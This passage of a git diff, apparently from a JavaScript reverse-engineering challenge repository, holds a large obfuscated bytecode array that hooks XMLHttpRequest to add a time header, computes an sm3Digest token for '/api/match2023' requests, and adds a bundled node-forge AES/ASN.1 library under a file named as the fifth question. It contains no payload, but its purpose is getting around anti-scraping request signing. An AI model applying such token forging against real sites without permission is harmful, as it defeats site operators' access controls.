49, 77, 49, 75, 120, 73, 56, 71, 6, 35, 26, 0, 91, 18, 125, 0, 4, 14, 0, 12, 115, 101, 116, 73, 109, 109, 101, 100, 105, 97, 116, 101, 65, 11, 0, 9, 117, 110, 100, 101, 102, 105, 110, 101, 100, 46, 15, 70, 65, 12, 0, 10, 50, 48, 52, 52, 53, 52, 52, 50, 56, 49, 46, 15, 70, 65, 12, 0, 10, 50, 48, 52, 53, 54, 53, 56, 51, 57, 50, 76, 206, 1, 60, 28, 92, 0, 6, 11, 2, 0, 46, 2, 61, 16, 4, 3, 1, 1, 106, 6, 11, 36, 0, 4, 3, 1, 1, 106, 46, 2, 61, 64, 49, 109, 49, 107, 120, 105, 56, 103, 6, 67, 26, 0, 6, 27, 58, 0, 72, 19, 46, 2, 61, 0, 4, 6, 0, 4, 68, 97, 116, 101, 4, 5, 0, 3, 110, 111, 119, 65, 2, 0, 0, 65, 34, 0, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 111, 119, 40, 41, 32, 123, 32, 91, 110, 97, 116, 105, 118, 101, 32, 99, 111, 100, 101, 93, 32, 125, 46, 15, 70, 65, 12, 0, 10, 50, 48, 57, 56, 51, 52, 55, 52, 48, 55, 46, 15, 70, 65, 12, 0, 10, 50, 48, 56, 49, 57, 50, 50, 52, 52, 50, 49, 63, 49, 61, 116, 59, 59, 57, 72, 24, 46, 2, 61, 0, 4, 9, 0, 7, 99, 111, 110, 115, 111, 108, 101, 4, 7, 0, 5, 101, 114, 114, 111, 114, 23, 29, 65, 27, 0, 25, 105, 110, 118, 97, 108, 105, 100, 32, 106, 32, 102, 111, 114, 32, 99, 111, 110, 115, 116, 97, 110, 116, 32, 84, 106, 116, 194, 2, 21, 191, 2, 86, 0, 72, 37, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 5, 0, 3, 95, 102, 102, 55, 147, 2, 65, 2, 0, 0, 23, 20, 4, 3, 1, 1, 106, 4, 3, 1, 1, 120, 4, 3, 1, 1, 121, 4, 3, 1, 1, 122, 49, 246, 1, 49, 243, 1, 76, 240, 1, 60, 28, 92, 0, 6, 11, 2, 0, 46, 2, 61, 0, 4, 3, 1, 1, 106, 6, 11, 36, 0, 4, 3, 1, 1, 106, 46, 2, 61, 16, 49, 35, 49, 33, 120, 31, 6, 29, 64, 0, 6, 21, 15, 0, 6, 12, 15, 0, 4, 3, 1, 1, 120, 4, 3, 1, 1, 121, 4, 3, 1, 1, 122, 46, 2, 61, 0, 76, 170, 1, 60, 28, 92, 0, 6, 11, 2, 0, 46, 2, 61, 16, 4, 3, 1, 1, 106, 6, 11, 36, 0, 4, 3, 1, 1, 106, 46, 2, 61, 64, 49, 62, 49, 60, 120, 58, 6, 56, 64, 0, 6, 48, 37, 0, 6, 30, 37, 0, 6, 12, 30, 0, 4, 3, 1, 1, 120, 4, 3, 1, 1, 121, 6, 12, 30, 0, 4, 3, 1, 1, 120, 4, 3, 1, 1, 122, 6, 12, 30, 0, 4, 3, 1, 1, 121, 4, 3, 1, 1, 122, 46, 2, 61, 0, 49, 74, 49, 72, 116, 64, 59, 62, 72, 24, 46, 2, 61, 0, 4, 9, 0, 7, 99, 111, 110, 115, 111, 108, 101, 4, 7, 0, 5, 101, 114, 114, 111, 114, 23, 34, 65, 32, 0, 30, 105, 110, 118, 97, 108, 105, 100, 32, 106, 32, 102, 111, 114, 32, 98, 111, 111, 108, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 70, 70, 120, 4, 46, 2, 61, 0, 116, 180, 2, 21, 177, 2, 86, 0, 72, 37, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 5, 0, 3, 95, 103, 103, 55, 133, 2, 65, 2, 0, 0, 23, 20, 4, 3, 1, 1, 106, 4, 3, 1, 1, 120, 4, 3, 1, 1, 121, 4, 3, 1, 1, 122, 49, 232, 1, 49, 229, 1, 76, 226, 1, 60, 28, 92, 0, 6, 11, 2, 0, 46, 2, 61, 0, 4, 3, 1, 1, 106, 6, 11, 36, 0, 4, 3, 1, 1, 106, 46, 2, 61, 16, 49, 35, 49, 33, 120, 31, 6, 29, 64, 0, 6, 21, 15, 0, 6, 12, 15, 0, 4, 3, 1, 1, 120, 4, 3, 1, 1, 121, 4, 3, 1, 1, 122, 46, 2, 61, 0, 76, 156, 1, 60, 28, 92, 0, 6, 11, 2, 0, 46, 2, 61, 16, 4, 3, 1, 1, 106, 6, 11, 36, 0, 4, 3, 1, 1, 106, 46, 2, 61, 64, 49, 48, 49, 46, 120, 44, 6, 42, 64, 0, 6, 34, 37, 0, 6, 12, 30, 0, 4, 3, 1, 1, 120, 4, 3, 1, 1, 121, 6, 16, 30, 0, 91, 7, 80, 0, 4, 3, 1, 1, 120, 4, 3, 1, 1, 122, 46, 2, 61, 0, 49, 74, 49, 72, 116, 64, 59, 62, 72, 24, 46, 2, 61, 0, 4, 9, 0, 7, 99, 111, 110, 115, 111, 108, 101, 4, 7, 0, 5, 101, 114, 114, 111, 114, 23, 34, 65, 32, 0, 30, 105, 110, 118, 97, 108, 105, 100, 32, 106, 32, 102, 111, 114, 32, 98, 111, 111, 108, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 71, 71, 120, 4, 46, 2, 61, 0, 116, 253, 1, 21, 250, 1, 86, 0, 72, 41, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 9, 0, 7, 116, 111, 65, 114, 114, 97, 121, 55, 202, 1, 65, 2, 0, 0, 23, 10, 4, 3, 1, 1, 115, 4, 3, 1, 1, 102, 49, 183, 1, 49, 180, 1, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 97, 126, 2, 23, 0, 106, 155, 1, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 105, 46, 2, 61, 0, 6, 28, 36, 0, 4, 3, 1, 1, 105, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 115, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 105, 79, 95, 49, 25, 49, 23, 3, 21, 4, 3, 1, 1, 116, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 115, 4, 3, 1, 1, 105, 76, 36, 4, 3, 1, 1, 102, 49, 27, 49, 25, 116, 23, 21, 21, 86, 0, 4, 3, 1, 1, 116, 59, 12, 4, 3, 1, 1, 102, 23, 5, 4, 3, 1, 1, 116, 103, 0, 116, 28, 59, 26, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 6, 0, 4, 112, 117, 115, 104, 23, 5, 4, 3, 1, 1, 116, 120, 5, 4, 3, 1, 1, 97, 116, 63, 21, 61, 86, 0, 4, 6, 0, 4, 111, 112, 101, 110, 72, 49, 46, 2, 61, 0, 72, 35, 46, 2, 61, 0, 4, 16, 0, 14, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 6, 0, 4, 111, 112, 101, 110, 116, 255, 1, 21, 252, 1, 86, 0, 72, 49, 46, 2, 61, 0, 72, 35, 46, 2, 61, 0, 4, 16, 0, 14, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 6, 0, 4, 111, 112, 101, 110, 55, 196, 1, 65, 2, 0, 0, 23, 0, 49, 187, 1, 49, 184, 1, 116, 42, 59, 40, 72, 21, 46, 2, 61, 0, 4, 6, 0, 4, 111, 112, 101, 110, 4, 7, 0, 5, 97, 112, 112, 108, 121, 23, 15, 95, 0, 4, 11, 1, 9, 97, 114, 103, 117, 109, 101, 110, 116, 115, 76, 137, 1, 6, 63, 52, 0, 59, 51, 72, 38, 46, 2, 61, 0, 72, 21, 46, 2, 61, 1, 4, 11, 1, 9, 97, 114, 103, 117, 109, 101, 110, 116, 115, 46, 2, 61, 1, 4, 9, 0, 7, 105, 110, 100, 101, 120, 79, 102, 23, 9, 65, 7, 0, 5, 109, 97, 116, 99, 104, 91, 6, 102, 0, 46, 2, 61, 1, 49, 68, 49, 66, 116, 64, 59, 62, 72, 26, 46, 2, 61, 0, 95, 0, 4, 18, 0, 16, 115, 101, 116, 82, 101, 113, 117, 101, 115, 116, 72, 101, 97, 100, 101, 114, 23, 32, 65, 13, 0, 11, 65, 99, 99, 101, 112, 116, 45, 84, 105, 109, 101, 6, 15, 58, 0, 4, 7, 0, 5, 95, 116, 105, 109, 101, 65, 2, 0, 0, 103, 0, 116, 199, 9, 21, 196, 9, 86, 0, 4, 6, 0, 4, 99, 97, 108, 108, 55, 183, 9, 65, 2, 0, 0, 23, 8, 4, 6, 1, 4, 112, 97, 103, 101, 49, 166, 9, 49, 163, 9, 116, 38, 21, 36, 86, 0, 4, 7, 0, 5, 95, 116, 105, 109, 101, 59, 23, 72, 19, 46, 2, 61, 0, 4, 6, 0, 4, 68, 97, 116, 101, 4, 5, 0, 3, 110, 111, 119, 23, 0, 49, 31, 49, 29, 3, 27, 4, 5, 1, 3, 117, 114, 108, 65, 18, 0, 16, 47, 97, 112, 105, 47, 109, 97, 116, 99, 104, 50, 48, 50, 51, 47, 51, 49, 155, 1, 49, 152, 1, 3, 149, 1, 4, 6, 1, 4, 108, 105, 115, 116, 35, 138, 1, 23, 135, 1, 1, 38, 46, 2, 61, 42, 46, 2, 61, 0, 65, 6, 0, 4, 112, 97, 103, 101, 59, 20, 4, 8, 0, 6, 83, 116, 114, 105, 110, 103, 23, 8, 4, 6, 1, 4, 112, 97, 103, 101, 1, 93, 46, 2, 61, 42, 46, 2, 61, 0, 65, 7, 0, 5, 116, 111, 107, 101, 110, 59, 74, 4, 11, 0, 9, 115, 109, 51, 68, 105, 103, 101, 115, 116, 23, 59, 59, 57, 72, 53, 46, 2, 61, 0, 6, 35, 58, 0, 59, 23, 4, 10, 0, 8, 112, 97, 114, 115, 101, 73, 110, 116, 23, 9, 4, 7, 0, 5, 95, 116, 105, 109, 101, 4, 6, 1, 4, 112, 97, 103, 101, 4, 10, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 23, 0, 116, 185, 7, 59, 182, 7, 72, 17, 46, 2, 61, 0, 4, 3, 0, 1, 36, 4, 6, 0, 4, 97, 106, 97, 120, 23, 160, 7, 35, 157, 7, 23, 154, 7, 1, 22, 46, 2, 61, 42, 46, 2, 61, 0, 4, 5, 1, 3, 117, 114, 108, 4, 5, 1, 3, 117, 114, 108, 1, 28, 46, 2, 61, 42, 46, 2, 61, 0, 4, 10, 0, 8, 100, 97, 116, 97, 84, 121, 112, 101, 65, 6, 0, 4, 106, 115, 111, 110, 1, 20, 46, 2, 61, 42, 46, 2, 61, 0, 4, 7, 0, 5, 97, 115, 121, 110, 99, 45, 1, 1, 1, 24, 46, 2, 61, 42, 46, 2, 61, 0, 4, 6, 0, 4, 100, 97, 116, 97, 4, 6, 1, 4, 108, 105, 115, 116, 1, 24, 46, 2, 61, 42, 46, 2, 61, 0, 4, 6, 0, 4, 116, 121, 112, 101, 65, 6, 0, 4, 80, 79, 83, 84, 1, 45, 46, 2, 61, 42, 46, 2, 61, 0, 4, 12, 0, 10, 98, 101, 102, 111, 114, 101, 83, 101, 110, 100, 55, 21, 65, 2, 0, 0, 23, 11, 4, 9, 2, 7, 114, 101, 113, 117, 101, 115, 116, 49, 2, 49, 0, 1, 205, 3, 46, 2, 61, 42, 46, 2, 61, 0, 4, 9, 0, 7, 115, 117, 99, 99, 101, 115, 115, 55, 183, 3, 65, 2, 0, 0, 23, 8, 4, 6, 2, 4, 100, 97, 116, 97, 49, 166, 3, 49, 163, 3, 116, 34, 21, 32, 86, 0, 4, 6, 2, 4, 100, 97, 116, 97, 72, 20, 46, 2, 61, 0, 4, 6, 2, 4, 100, 97, 116, 97, 4, 6, 2, 4, 100, 97, 116, 97, 49, 16, 49, 14, 3, 12, 4, 6, 2, 4, 104, 116, 109, 108, 65, 2, 0, 0, 116, 120, 59, 118, 72, 17, 46, 2, 61, 0, 4, 3, 0, 1, 36, 4, 6, 0, 4, 101, 97, 99, 104, 23, 97, 4, 6, 2, 4, 100, 97, 116, 97, 55, 87, 65, 2, 0, 0, 23, 16, 4, 7, 3, 5, 105, 110, 100, 101, 120, 4, 5, 3, 3, 118, 97, 108, 49, 63, 49, 61, 116, 59, 21, 57, 8, 0, 4, 6, 2, 4, 104, 116, 109, 108, 6, 45, 58, 0, 6, 32, 58, 0, 65, 6, 0, 4, 60, 116, 100, 62, 72, 20, 46, 2, 61, 0, 4, 5, 3, 3, 118, 97, 108, 4, 7, 0, 5, 118, 97, 108, 117, 101, 65, 7, 0, 5, 60, 47, 116, 100, 62, 116, 70, 59, 68, 72, 56, 46, 2, 61, 0, 59, 40, 72, 32, 46, 2, 61, 0, 59, 18, 4, 3, 0, 1, 36, 23, 11, 65, 9, 0, 7, 46, 110, 117, 109, 98, 101, 114, 4, 6, 0, 4, 116, 101, 120, 116, 23, 4, 65, 2, 0, 0, 4, 8, 0, 6, 97, 112, 112, 101, 110, 100, 23, 8, 4, 6, 2, 4, 104, 116, 109, 108, 116, 61, 59, 59, 72, 45, 46, 2, 61, 0, 59, 24, 4, 3, 0, 1, 36, 23, 17, 65, 15, 0, 13, 46, 112, 97, 103, 101, 45, 109, 101, 115, 115, 97, 103, 101, 4, 13, 0, 11, 114, 101, 109, 111, 118, 101, 67, 108, 97, 115, 115, 23, 10, 65, 8, 0, 6, 97, 99, 116, 105, 118, 101, 116, 106, 59, 104, 72, 90, 46, 2, 61, 0, 59, 72, 72, 36, 46, 2, 61, 0, 59, 24, 4, 3, 0, 1, 36, 23, 17, 65, 15, 0, 13, 46, 112, 97, 103, 101, 45, 109, 101, 115, 115, 97, 103, 101, 4, 4, 0, 2, 101, 113, 23, 32, 6, 30, 113, 0, 59, 22, 4, 10, 0, 8, 112, 97, 114, 115, 101, 73, 110, 116, 23, 8, 4, 6, 1, 4, 112, 97, 103, 101, 46, 2, 61, 1, 4, 10, 0, 8, 97, 100, 100, 67, 108, 97, 115, 115, 23, 10, 65, 8, 0, 6, 97, 99, 116, 105, 118, 101, 1, 32, 46, 2, 61, 42, 46, 2, 61, 0, 4, 10, 0, 8, 99, 111, 109, 112, 108, 101, 116, 101, 55, 10, 65, 2, 0, 0, 23, 0, 49, 2, 49, 0, 1, 246, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 7, 0, 5, 101, 114, 114, 111, 114, 55, 226, 1, 65, 2, 0, 0, 23, 0, 49, 217, 1, 49, 214, 1, 116, 69, 59, 67, 4, 13, 0, 11, 102, 97, 105, 108, 101, 100, 65, 108, 101, 114, 116, 23, 50, 65, 48, 0, 16, 247, 151, 2, 194, 216, 1, 177, 178, 1, 165, 154, 2, 134, 157, 1, 140, 254, 3, 159, 234, 1, 140, 128, 2, 186, 156, 1, 235, 140, 2, 140, 254, 3, 145, 196, 1, 136, 191, 1, 177, 197, 1, 201, 214, 1, 126, 116, 61, 59, 59, 72, 45, 46, 2, 61, 0, 59, 24, 4, 3, 0, 1, 36, 23, 17, 65, 15, 0, 13, 46, 112, 97, 103, 101, 45, 109, 101, 115, 115, 97, 103, 101, 4, 13, 0, 11, 114, 101, 109, 111, 118, 101, 67, 108, 97, 115, 115, 23, 10, 65, 8, 0, 6, 97, 99, 116, 105, 118, 101, 116, 78, 59, 76, 72, 62, 46, 2, 61, 0, 59, 44, 72, 36, 46, 2, 61, 0, 59, 24, 4, 3, 0, 1, 36, 23, 17, 65, 15, 0, 13, 46, 112, 97, 103, 101, 45, 109, 101, 115, 115, 97, 103, 101, 4, 4, 0, 2, 101, 113, 23, 4, 46, 2, 61, 0, 4, 10, 0, 8, 97, 100, 100, 67, 108, 97, 115, 115, 23, 10, 65, 8, 0, 6, 97, 99, 116, 105, 118, 101]); + i -= 1 + } + } else { + var l = function(i) { + var l = e || 0; + for (; ; ) + return + }; + i -= 1 + } +} +)(); +sm3Digest("16845217681272") \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/run/第五题.js b/env_xbb_lastest_jsdom/run/第五题.js new file mode 100644 index 00000000..be2af032 --- /dev/null +++ b/env_xbb_lastest_jsdom/run/第五题.js @@ -0,0 +1,17959 @@ + +;;(()=>{ + var r = { + 925: (r,e,t)=>{ + var n = t(832); + t(649), + t(967), + t(116), + r.exports = n.aes = n.aes || {}, + n.aes.Algorithm = function(r, e) { + c || v(); + var t = this; + t.name = r, + t.mode = new e({ + blockSize: 16, + cipher: { + encrypt: function(r, e) { + return x(t._w, r, e, !1) + }, + decrypt: function(r, e) { + return x(t._w, r, e, !0) + } + } + }), + t._init = !1 + } + , + n.aes._expandKey = function(r, e) { + return c || v(), + function(r, e) { + for (var t, n = r.slice(0), i = 1, u = n.length, c = f * (u + 6 + 1), v = u; v < c; ++v) + t = n[v - 1], + v % u == 0 ? (t = a[t >>> 16 & 255] << 24 ^ a[t >>> 8 & 255] << 16 ^ a[255 & t] << 8 ^ a[t >>> 24] ^ o[i] << 24, + i++) : u > 6 && v % u == 4 && (t = a[t >>> 24] << 24 ^ a[t >>> 16 & 255] << 16 ^ a[t >>> 8 & 255] << 8 ^ a[255 & t]), + n[v] = n[v - u] ^ t; + if (e) { + for (var x, l = s[0], d = s[1], h = s[2], p = s[3], y = n.slice(0), g = (v = 0, + (c = n.length) - f); v < c; v += f, + g -= f) + if (0 === v || v === c - f) + y[v] = n[g], + y[v + 1] = n[g + 3], + y[v + 2] = n[g + 2], + y[v + 3] = n[g + 1]; + else + for (var m = 0; m < f; ++m) + x = n[g + m], + y[v + (3 & -m)] = l[a[x >>> 24]] ^ d[a[x >>> 16 & 255]] ^ h[a[x >>> 8 & 255]] ^ p[a[255 & x]]; + n = y + } + return n + }(r, e) + } + , + n.aes._updateBlock = x; + var a, i, o, u, s, c = !1, f = 4; + function v() { + c = !0, + o = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; + for (var r = new Array(256), e = 0; e < 128; ++e) + r[e] = e << 1, + r[e + 128] = e + 128 << 1 ^ 283; + for (a = new Array(256), + i = new Array(256), + u = new Array(4), + s = new Array(4), + e = 0; e < 4; ++e) + u[e] = new Array(256), + s[e] = new Array(256); + var t, n, f, v, x, l, d, h = 0, p = 0; + for (e = 0; e < 256; ++e) { + v = (v = p ^ p << 1 ^ p << 2 ^ p << 3 ^ p << 4) >> 8 ^ 244 & v ^ 99, + a[h] = v, + i[v] = h, + l = (x = r[v]) << 24 ^ v << 16 ^ v << 8 ^ v ^ x, + d = ((t = r[h]) ^ (n = r[t]) ^ (f = r[n])) << 24 ^ (h ^ f) << 16 ^ (h ^ n ^ f) << 8 ^ h ^ t ^ f; + for (var y = 0; y < 4; ++y) + u[y][h] = l, + s[y][v] = d, + l = l << 24 | l >>> 8, + d = d << 24 | d >>> 8; + 0 === h ? h = p = 1 : (h = t ^ r[r[r[t ^ f]]], + p ^= r[r[p]]) + } + } + function x(r, e, t, n) { + var o, c, f, v, x, l, d, h, p, y, g, m, C = r.length / 4 - 1; + n ? (o = s[0], + c = s[1], + f = s[2], + v = s[3], + x = i) : (o = u[0], + c = u[1], + f = u[2], + v = u[3], + x = a), + l = e[0] ^ r[0], + d = e[n ? 3 : 1] ^ r[1], + h = e[2] ^ r[2], + p = e[n ? 1 : 3] ^ r[3]; + for (var b = 3, E = 1; E < C; ++E) + y = o[l >>> 24] ^ c[d >>> 16 & 255] ^ f[h >>> 8 & 255] ^ v[255 & p] ^ r[++b], + g = o[d >>> 24] ^ c[h >>> 16 & 255] ^ f[p >>> 8 & 255] ^ v[255 & l] ^ r[++b], + m = o[h >>> 24] ^ c[p >>> 16 & 255] ^ f[l >>> 8 & 255] ^ v[255 & d] ^ r[++b], + p = o[p >>> 24] ^ c[l >>> 16 & 255] ^ f[d >>> 8 & 255] ^ v[255 & h] ^ r[++b], + l = y, + d = g, + h = m; + t[0] = x[l >>> 24] << 24 ^ x[d >>> 16 & 255] << 16 ^ x[h >>> 8 & 255] << 8 ^ x[255 & p] ^ r[++b], + t[n ? 3 : 1] = x[d >>> 24] << 24 ^ x[h >>> 16 & 255] << 16 ^ x[p >>> 8 & 255] << 8 ^ x[255 & l] ^ r[++b], + t[2] = x[h >>> 24] << 24 ^ x[p >>> 16 & 255] << 16 ^ x[l >>> 8 & 255] << 8 ^ x[255 & d] ^ r[++b], + t[n ? 1 : 3] = x[p >>> 24] << 24 ^ x[l >>> 16 & 255] << 16 ^ x[d >>> 8 & 255] << 8 ^ x[255 & h] ^ r[++b] + } + } + , + 164: (r,e,t)=>{} + , + 205: (r,e,t)=>{ + var n = t(832); + t(68); + n.asn1 + } + , + 68: (r,e,t)=>{ + var n = t(832); + t(116), + t(270); + var a = r.exports = n.asn1 = n.asn1 || {}; + function i(r, e, t) { + if (t > e) { + var n = new Error("Too few bytes to parse DER."); + throw n.available = r.length(), + n.remaining = e, + n.requested = t, + n + } + } + function o(r, e, t, n) { + var u; + i(r, e, 2); + var s = r.getByte(); + e--; + var c = 192 & s + , f = 31 & s; + u = r.length(); + var v, x, l = function(r, e) { + var t = r.getByte(); + if (128 !== t) { + var n; + if (128 & t) { + var a = 127 & t; + i(r, --e, a), + n = r.getInt(a << 3) + } else + n = t; + if (n < 0) + throw new Error("Negative length: " + n); + return n + } + }(r, e); + if (e -= u - r.length(), + void 0 !== l && l > e) { + if (n.strict) { + var d = new Error("Too few bytes to read ASN.1 value."); + throw d.available = r.length(), + d.remaining = e, + d.requested = l, + d + } + l = e + } + var h = 32 == (32 & s); + if (h) + if (v = [], + void 0 === l) + for (; ; ) { + if (i(r, e, 2), + r.bytes(2) === String.fromCharCode(0, 0)) { + r.getBytes(2), + e -= 2; + break + } + u = r.length(), + v.push(o(r, e, t + 1, n)), + e -= u - r.length() + } + else + for (; l > 0; ) + u = r.length(), + v.push(o(r, l, t + 1, n)), + e -= u - r.length(), + l -= u - r.length(); + if (void 0 === v && c === a.Class.UNIVERSAL && f === a.Type.BITSTRING && (x = r.bytes(l)), + void 0 === v && n.decodeBitStrings && c === a.Class.UNIVERSAL && f === a.Type.BITSTRING && l > 1) { + var p = r.read + , y = e + , g = 0; + if (f === a.Type.BITSTRING && (i(r, e, 1), + g = r.getByte(), + e--), + 0 === g) + try { + u = r.length(); + var m = o(r, e, t + 1, { + strict: !0, + decodeBitStrings: !0 + }) + , C = u - r.length(); + e -= C, + f == a.Type.BITSTRING && C++; + var b = m.tagClass; + C !== l || b !== a.Class.UNIVERSAL && b !== a.Class.CONTEXT_SPECIFIC || (v = [m]) + } catch (r) {} + void 0 === v && (r.read = p, + e = y) + } + if (void 0 === v) { + if (void 0 === l) { + if (n.strict) + throw new Error("Non-constructed ASN.1 object of indefinite length."); + l = e + } + if (f === a.Type.BMPSTRING) + for (v = ""; l > 0; l -= 2) + i(r, e, 2), + v += String.fromCharCode(r.getInt16()), + e -= 2; + else + v = r.getBytes(l), + e -= l + } + var E = void 0 === x ? null : { + bitStringContents: x + }; + return a.create(c, f, h, v, E) + } + a.Class = { + UNIVERSAL: 0, + APPLICATION: 64, + CONTEXT_SPECIFIC: 128, + PRIVATE: 192 + }, + a.Type = { + NONE: 0, + BOOLEAN: 1, + INTEGER: 2, + BITSTRING: 3, + OCTETSTRING: 4, + NULL: 5, + OID: 6, + ODESC: 7, + EXTERNAL: 8, + REAL: 9, + ENUMERATED: 10, + EMBEDDED: 11, + UTF8: 12, + ROID: 13, + SEQUENCE: 16, + SET: 17, + PRINTABLESTRING: 19, + IA5STRING: 22, + UTCTIME: 23, + GENERALIZEDTIME: 24, + BMPSTRING: 30 + }, + a.create = function(r, e, t, i, o) { + if (n.util.isArray(i)) { + for (var u = [], s = 0; s < i.length; ++s) + void 0 !== i[s] && u.push(i[s]); + i = u + } + var c = { + tagClass: r, + type: e, + constructed: t, + composed: t || n.util.isArray(i), + value: i + }; + return o && "bitStringContents"in o && (c.bitStringContents = o.bitStringContents, + c.original = a.copy(c)), + c + } + , + a.copy = function(r, e) { + var t; + if (n.util.isArray(r)) { + t = []; + for (var i = 0; i < r.length; ++i) + t.push(a.copy(r[i], e)); + return t + } + return "string" == typeof r ? r : (t = { + tagClass: r.tagClass, + type: r.type, + constructed: r.constructed, + composed: r.composed, + value: a.copy(r.value, e) + }, + e && !e.excludeBitStringContents && (t.bitStringContents = r.bitStringContents), + t) + } + , + a.equals = function(r, e, t) { + if (n.util.isArray(r)) { + if (!n.util.isArray(e)) + return !1; + if (r.length !== e.length) + return !1; + for (var i = 0; i < r.length; ++i) + if (!a.equals(r[i], e[i])) + return !1; + return !0 + } + if (typeof r != typeof e) + return !1; + if ("string" == typeof r) + return r === e; + var o = r.tagClass === e.tagClass && r.type === e.type && r.constructed === e.constructed && r.composed === e.composed && a.equals(r.value, e.value); + return t && t.includeBitStringContents && (o = o && r.bitStringContents === e.bitStringContents), + o + } + , + a.getBerValueLength = function(r) { + var e = r.getByte(); + if (128 !== e) + return 128 & e ? r.getInt((127 & e) << 3) : e + } + , + a.fromDer = function(r, e) { + void 0 === e && (e = { + strict: !0, + parseAllBytes: !0, + decodeBitStrings: !0 + }), + "boolean" == typeof e && (e = { + strict: e, + parseAllBytes: !0, + decodeBitStrings: !0 + }), + "strict"in e || (e.strict = !0), + "parseAllBytes"in e || (e.parseAllBytes = !0), + "decodeBitStrings"in e || (e.decodeBitStrings = !0), + "string" == typeof r && (r = n.util.createBuffer(r)); + var t = r.length() + , a = o(r, r.length(), 0, e); + if (e.parseAllBytes && 0 !== r.length()) { + var i = new Error("Unparsed DER bytes remain after ASN.1 parsing."); + throw i.byteCount = t, + i.remaining = r.length(), + i + } + return a + } + , + a.toDer = function(r) { + var e = n.util.createBuffer() + , t = r.tagClass | r.type + , i = n.util.createBuffer() + , o = !1; + if ("bitStringContents"in r && (o = !0, + r.original && (o = a.equals(r, r.original))), + o) + i.putBytes(r.bitStringContents); + else if (r.composed) { + r.constructed ? t |= 32 : i.putByte(0); + for (var u = 0; u < r.value.length; ++u) + void 0 !== r.value[u] && i.putBuffer(a.toDer(r.value[u])) + } else if (r.type === a.Type.BMPSTRING) + for (u = 0; u < r.value.length; ++u) + i.putInt16(r.value.charCodeAt(u)); + else + r.type === a.Type.INTEGER && r.value.length > 1 && (0 === r.value.charCodeAt(0) && 0 == (128 & r.value.charCodeAt(1)) || 255 === r.value.charCodeAt(0) && 128 == (128 & r.value.charCodeAt(1))) ? i.putBytes(r.value.substr(1)) : i.putBytes(r.value); + if (e.putByte(t), + i.length() <= 127) + e.putByte(127 & i.length()); + else { + var s = i.length() + , c = ""; + do { + c += String.fromCharCode(255 & s), + s >>>= 8 + } while (s > 0); + for (e.putByte(128 | c.length), + u = c.length - 1; u >= 0; --u) + e.putByte(c.charCodeAt(u)) + } + return e.putBuffer(i), + e + } + , + a.oidToDer = function(r) { + var e, t, a, i, o = r.split("."), u = n.util.createBuffer(); + u.putByte(40 * parseInt(o[0], 10) + parseInt(o[1], 10)); + for (var s = 2; s < o.length; ++s) { + e = !0, + t = [], + a = parseInt(o[s], 10); + do { + i = 127 & a, + a >>>= 7, + e || (i |= 128), + t.push(i), + e = !1 + } while (a > 0); + for (var c = t.length - 1; c >= 0; --c) + u.putByte(t[c]) + } + return u + } + , + a.derToOid = function(r) { + var e; + "string" == typeof r && (r = n.util.createBuffer(r)); + var t = r.getByte(); + e = Math.floor(t / 40) + "." + t % 40; + for (var a = 0; r.length() > 0; ) + a <<= 7, + 128 & (t = r.getByte()) ? a += 127 & t : (e += "." + (a + t), + a = 0); + return e + } + , + a.utcTimeToDate = function(r) { + var e = new Date + , t = parseInt(r.substr(0, 2), 10); + t = t >= 50 ? 1900 + t : 2e3 + t; + var n = parseInt(r.substr(2, 2), 10) - 1 + , a = parseInt(r.substr(4, 2), 10) + , i = parseInt(r.substr(6, 2), 10) + , o = parseInt(r.substr(8, 2), 10) + , u = 0; + if (r.length > 11) { + var s = r.charAt(10) + , c = 10; + "+" !== s && "-" !== s && (u = parseInt(r.substr(10, 2), 10), + c += 2) + } + if (e.setUTCFullYear(t, n, a), + e.setUTCHours(i, o, u, 0), + c && ("+" === (s = r.charAt(c)) || "-" === s)) { + var f = 60 * parseInt(r.substr(c + 1, 2), 10) + parseInt(r.substr(c + 4, 2), 10); + f *= 6e4, + "+" === s ? e.setTime(+e - f) : e.setTime(+e + f) + } + return e + } + , + a.generalizedTimeToDate = function(r) { + var e = new Date + , t = parseInt(r.substr(0, 4), 10) + , n = parseInt(r.substr(4, 2), 10) - 1 + , a = parseInt(r.substr(6, 2), 10) + , i = parseInt(r.substr(8, 2), 10) + , o = parseInt(r.substr(10, 2), 10) + , u = parseInt(r.substr(12, 2), 10) + , s = 0 + , c = 0 + , f = !1; + "Z" === r.charAt(r.length - 1) && (f = !0); + var v = r.length - 5 + , x = r.charAt(v); + return "+" !== x && "-" !== x || (c = 60 * parseInt(r.substr(v + 1, 2), 10) + parseInt(r.substr(v + 4, 2), 10), + c *= 6e4, + "+" === x && (c *= -1), + f = !0), + "." === r.charAt(14) && (s = 1e3 * parseFloat(r.substr(14), 10)), + f ? (e.setUTCFullYear(t, n, a), + e.setUTCHours(i, o, u, s), + e.setTime(+e + c)) : (e.setFullYear(t, n, a), + e.setHours(i, o, u, s)), + e + } + , + a.dateToUtcTime = function(r) { + if ("string" == typeof r) + return r; + var 